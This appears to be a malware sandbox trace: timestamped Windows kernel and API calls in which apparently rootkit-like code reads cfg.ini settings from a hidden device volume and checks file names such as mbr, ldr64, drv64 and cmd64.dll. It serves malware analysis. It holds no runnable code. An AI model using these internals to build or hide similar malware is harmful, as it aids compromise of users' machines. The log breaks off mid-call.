ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.965] KeLeaveCriticalRegion () [0116.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.965] ReleaseMutex (hMutex=0x100) returned 1 [0116.965] Sleep (dwMilliseconds=0x2bf20) [0117.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6920dd30, dwHighDateTime=0x1d24fa4)) [0117.320] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.320] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.321] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.321] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.321] KeEnterCriticalRegion () [0117.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.321] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.321] IdePortDispatch () returned 0x103 [0117.321] KeWaitForMutexObject () returned 0x0 [0117.321] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.321] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.321] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.321] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.321] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.321] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28790 [0117.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.321] KeLeaveCriticalRegion () [0117.321] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.321] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.321] KeEnterCriticalRegion () [0117.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.321] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.321] KeLeaveCriticalRegion () [0117.321] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.321] KeEnterCriticalRegion () [0117.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.321] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.321] IdePortDispatch () returned 0x103 [0117.321] KeWaitForMutexObject () returned 0x0 [0117.322] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.322] KeLeaveCriticalRegion () [0117.322] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.322] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.322] KeEnterCriticalRegion () [0117.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.322] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7e000 [0117.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.322] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.322] IdePortDispatch () returned 0x103 [0117.322] KeWaitForMutexObject () returned 0x0 [0117.322] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.322] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.322] IdePortDispatch () returned 0x103 [0117.322] KeWaitForMutexObject () returned 0x0 [0117.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.322] KeLeaveCriticalRegion () [0117.322] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.323] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.323] KeEnterCriticalRegion () [0117.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.323] KeLeaveCriticalRegion () [0117.323] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.323] KeEnterCriticalRegion () [0117.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.323] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.323] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.323] KeLeaveCriticalRegion () [0117.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.323] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.323] KeEnterCriticalRegion () [0117.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.323] ExFreePoolWithTag (P=0xfffffa8003b28790, Tag=0x0) [0117.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.323] KeLeaveCriticalRegion () [0117.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.323] ReleaseMutex (hMutex=0xf0) returned 1 [0117.323] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.323] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.324] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.324] KeEnterCriticalRegion () [0117.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.324] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.324] IdePortDispatch () returned 0x103 [0117.324] KeWaitForMutexObject () returned 0x0 [0117.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.324] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.324] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.324] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.324] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.324] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7600 [0117.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.324] KeLeaveCriticalRegion () [0117.324] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.324] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.324] KeEnterCriticalRegion () [0117.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.324] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.324] KeLeaveCriticalRegion () [0117.324] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.324] KeEnterCriticalRegion () [0117.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.324] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.324] IdePortDispatch () returned 0x103 [0117.325] KeWaitForMutexObject () returned 0x0 [0117.325] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.325] KeLeaveCriticalRegion () [0117.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.326] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.326] KeEnterCriticalRegion () [0117.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.326] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7f000 [0117.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.326] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.326] IdePortDispatch () returned 0x103 [0117.326] KeWaitForMutexObject () returned 0x0 [0117.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.326] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.326] IdePortDispatch () returned 0x103 [0117.326] KeWaitForMutexObject () returned 0x0 [0117.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.326] KeLeaveCriticalRegion () [0117.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.327] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.327] KeEnterCriticalRegion () [0117.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] KeLeaveCriticalRegion () [0117.327] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.327] KeEnterCriticalRegion () [0117.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.327] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] KeLeaveCriticalRegion () [0117.327] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.327] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.327] KeEnterCriticalRegion () [0117.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] ExFreePoolWithTag (P=0xfffffa80039d7600, Tag=0x0) [0117.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] KeLeaveCriticalRegion () [0117.327] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.327] ReleaseMutex (hMutex=0xf0) returned 1 [0117.327] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.327] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.327] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.327] KeEnterCriticalRegion () [0117.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.327] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.327] IdePortDispatch () returned 0x103 [0117.328] KeWaitForMutexObject () returned 0x0 [0117.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.328] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.328] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.328] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.328] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.328] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c6270 [0117.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.328] KeLeaveCriticalRegion () [0117.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.328] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.328] KeEnterCriticalRegion () [0117.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.328] KeLeaveCriticalRegion () [0117.328] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.328] KeEnterCriticalRegion () [0117.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.328] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.328] IdePortDispatch () returned 0x103 [0117.328] KeWaitForMutexObject () returned 0x0 [0117.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.328] KeLeaveCriticalRegion () [0117.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.329] KeEnterCriticalRegion () [0117.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c80000 [0117.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.329] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.329] IdePortDispatch () returned 0x103 [0117.329] KeWaitForMutexObject () returned 0x0 [0117.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.329] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.329] IdePortDispatch () returned 0x103 [0117.329] KeWaitForMutexObject () returned 0x0 [0117.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.329] KeLeaveCriticalRegion () [0117.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.330] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.330] KeEnterCriticalRegion () [0117.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] KeLeaveCriticalRegion () [0117.330] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.330] KeEnterCriticalRegion () [0117.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.330] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cfdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] KeLeaveCriticalRegion () [0117.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.330] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.330] KeEnterCriticalRegion () [0117.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] ExFreePoolWithTag (P=0xfffffa80039c6270, Tag=0x0) [0117.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] KeLeaveCriticalRegion () [0117.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.330] ReleaseMutex (hMutex=0xf0) returned 1 [0117.330] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.330] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.330] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.330] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.330] KeEnterCriticalRegion () [0117.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.330] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.330] IdePortDispatch () returned 0x103 [0117.330] KeWaitForMutexObject () returned 0x0 [0117.331] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.331] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.331] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.331] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.331] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.331] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.331] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.331] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.331] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.331] _strnicmp (_Str1="bckfg.tmp", 